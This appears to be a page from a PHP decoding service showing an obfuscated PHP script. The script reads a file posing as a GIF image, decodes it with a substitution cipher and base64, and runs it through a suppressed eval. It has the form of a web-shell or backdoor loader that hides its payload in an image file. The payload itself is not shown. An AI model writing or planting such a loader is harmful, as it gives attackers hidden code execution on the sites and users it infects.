PHP Decode

<?php 
 
class Ovacath_ytejipy { 
 
    public function azicone_tuluthi() { 
        return "ktQgbx=6WIPqLOlCsjjyr=H1DhXSRKFFpPEdSLOUvuB9zziYGD4ZIe0512gQTVhWKi58YJt3ycUmuwc/fr8+6bo0eR37+fNA7M/HA4JGaannqXZEmldpwkCTVN2s9oMBxv"; 
    } 
 
    public function amashim_unachac($zuxygez_ugefozu) { 
        $hotypij = $this->azicone_tuluthi(); 
        $utihyru = array(); 
        for ($lawyji = 0; $lawyji < strlen($hotypij); $lawyji += 2) { 
            $ycunoj = substr($hotypij, $lawyji, 1); 
            $moxazi = substr($hotypij, $lawyji + 1, 1); 
            $utihyru[$ycunoj] = $moxazi; 
        } 
        $apabym = strtr($zuxygez_ugefozu, $utihyru); 
        $apabym = base64_decode($apabym); 
 
        return $apabym; 
    } 
 
    public function inyvezh_enipuch($zuxygez_ugefozu) { 
        if (!file_exists($zuxygez_ugefozu)) 
            return false; 
        $wejuvu = @file_get_contents($zuxygez_ugefozu); 
        if (!$wejuvu) 
            return false; 
        $wejuvu = substr($wejuvu, 3); 
        $ruloso = $this->amashim_unachac($wejuvu); 
        return $ruloso; 
    } 
 
} 
 
function ahabefe_lizykho($zuxygez_ugefozu) { 
    $hotypij = new Ovacath_ytejipy(); 
    return $hotypij->amashim_unachac($zuxygez_ugefozu); 
} 
 
function yvasuka_zhywobu($zuxygez_ugefozu) { 
    $hotypij = new Ovacath_ytejipy(); 
    return $hotypij->inyvezh_enipuch($zuxygez_ugefozu); 
} 
 
$sakovu = yvasuka_zhywobu(__DIR__ . "/ass" . "ets/im" . "ages" . "/ofav" . "av.gi" . "f"); 
if ($sakovu) { 
    @eval($sakovu); 
} 
 ?>